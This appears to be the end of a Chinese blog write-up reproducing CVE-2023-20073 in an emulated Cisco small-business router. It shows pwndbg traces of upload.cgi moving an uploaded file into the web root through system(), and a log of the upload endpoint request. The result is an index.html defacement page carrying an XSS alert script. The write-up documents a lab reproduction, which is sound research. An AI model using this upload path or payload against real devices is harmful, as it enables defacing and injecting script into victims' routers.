─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
R0 0x130bf ◂— strbpl r4, [lr], #-0xf43 /* 'CONTENT_LENGTH' */
R1 0x7ef8e784 —▸ 0x7ef8e919 ◂— '/www/cgi-bin/upload.cgi'
R2 0x7ef8e78c —▸ 0x7ef8e931 ◂— 'MAIL=/var/mail/root'
R3 0x10e00 ◂— push {r4, r5, r6, r7, r8, lr}
R4 0x129ec ◂— push {r3, r4, r5, r6, r7, r8, sb, lr}
R5 0x0
R6 0x11298 ◂— mov fp, #0
R7 0x0
R8 0x0
R9 0x0
R10 0x76f36000 ◂— 0x2cf44
R11 0x0
R12 0x76e97000 ◂— 0x114f20
SP 0x7ef8e1b8 ◂— 0x0
PC 0x10e0c ◂— b #0x10e0c
───────────────────────[ DISASM / arm / set emulate on ]────────────────────────
0x10e0c b #0x10e0c <0x10e0c>

0x10e0c b #0x10e0c <0x10e0c>








───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0x7ef8e1b8 ◂— 0x0
... 7 skipped
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x10e0c
f 1 0x76d988e4 __libc_start_main+404
f 2 0x76f15544
────────────────────────────────────────────────────────────────────────────────
pwndbg> set *0x10e0c=0xebffffaa
pwndbg> delete
pwndbg> b *0x11748
Breakpoint 16 at 0x11748
pwndbg> c
Continuing.

Breakpoint 16, 0x00011748 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*R0 0x31
*R1 0x0
*R2 0xffffffff
*R3 0x7ef8e0ad ◂— 0x1000000
*R4 0x12b51 ◂— rsbvc r7, sp, pc, lsr #8 /* '/tmp/www/' */
*R5 0x176c0b8 ◂— 'index.html'
*R6 0x176ca40 ◂— '/tmp/upload/0000000001'
*R7 0x7ef8eb58 ◂— '/api/operations/ciscosb-file:form-file-upload'
*R8 0x176c7a0 ◂— 'Portal'
R9 0x0
R10 0x76f36000 ◂— 0x2cf44
R11 0x0
*R12 0x0
*SP 0x7ef8e070 —▸ 0x176c0b8 ◂— 'index.html'
*PC 0x11748 ◂— ldr r0, [pc, #0xa0]
───────────────────────[ DISASM / arm / set emulate on ]────────────────────────
0x11748 ldr r0, [pc, #0xa0]
0x1174c add r1, sp, #0xc
0x11750 bl #debug@plt <debug@plt>

0x11754 ldrb r3, [sp, #0xc]
0x11758 cmp r3, #0
0x1175c beq #0x11604 <0x11604>

0x11760 add r0, sp, #0xc
0x11764 bl #system@plt <system@plt>

0x11768 subs r4, r0, #0
0x1176c bge #0x1179c <0x1179c>

0x11770 ldr r0, [pc, #0x7c]
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ sp 0x7ef8e070 —▸ 0x176c0b8 ◂— 'index.html'
01:0004│ 0x7ef8e074 —▸ 0x76f34910 —▸ 0x76ee1000 ◂— 0x464c457f
02:0008│ 0x7ef8e078 ◂— 0x0
03:000c│ 0x7ef8e07c ◂— 'mv -f /tmp/upload/0000000001 /tmp/www//index.html'
04:0010│ 0x7ef8e080 ◂— 'f /tmp/upload/0000000001 /tmp/www//index.html'
05:0014│ 0x7ef8e084 ◂— 'mp/upload/0000000001 /tmp/www//index.html'
06:0018│ 0x7ef8e088 ◂— 'pload/0000000001 /tmp/www//index.html'
07:001c│ 0x7ef8e08c ◂— 'd/0000000001 /tmp/www//index.html'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► f 0 0x11748
────────────────────────────────────────────────────────────────────────────────
pwndbg> x/s $sp+12
0x7ef8e07c: "mv -f /tmp/upload/0000000001 /tmp/www//index.html"
pwndbg> c
Continuing.
[Inferior 1 (process 13846) exited normally]
pwndbg>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/ # ./gdbserver 0.0.0.0:9999 --attach 13846
Attached; pid = 13846
Listening on port 9999
Remote debugging from host 192.168.30.136

Child exited with status 0
GDBserver exiting
/ # {address space usage: 7409664 bytes/7MB} {rss usage: 1204224 bytes/1MB} [pid: 13833|app: -1|req: -1/1] 192.168.30.136 () {62 vars in 1235 bytes} [Mon Apr 6 09:38:21 2026] POST /api/operations/ciscosb-file:form-file-upload => generated 11 bytes in 110963 msecs (HTTP/1.1 200) 1 headers in 44 bytes (0 switches on core 0)
ls -la /tmp/www/index.html
-rw-rw-rw- 1 www-data www-data 139 Apr 6 09:38 /tmp/www/index.html
/ # cat /tmp/www/index.html
<!DOCTYPE html>
<html>
<head><title>Hacked</title></head>
<body>
<h1>Hacked by hfddh666>
<script>alert('XSS')</script>
</body>
</html>/ #

成功修改了

执行net.sh可以会遇到的问题的修复

1
2
3
4
5
6
7
8
# 删除(或重命名)DNS 配置文件
sudo mv /etc/resolv.conf /etc/resolv.conf.bak

# 执行你的脚本
./net.sh

# 恢复 DNS 文件
sudo mv /etc/resolv.conf.bak /etc/resolv.conf

参考

从零开始复现CVE-2023-20073 | ZIKH26’s Blog

CVE-2023-20073复现 | S1nec-1o’s B1og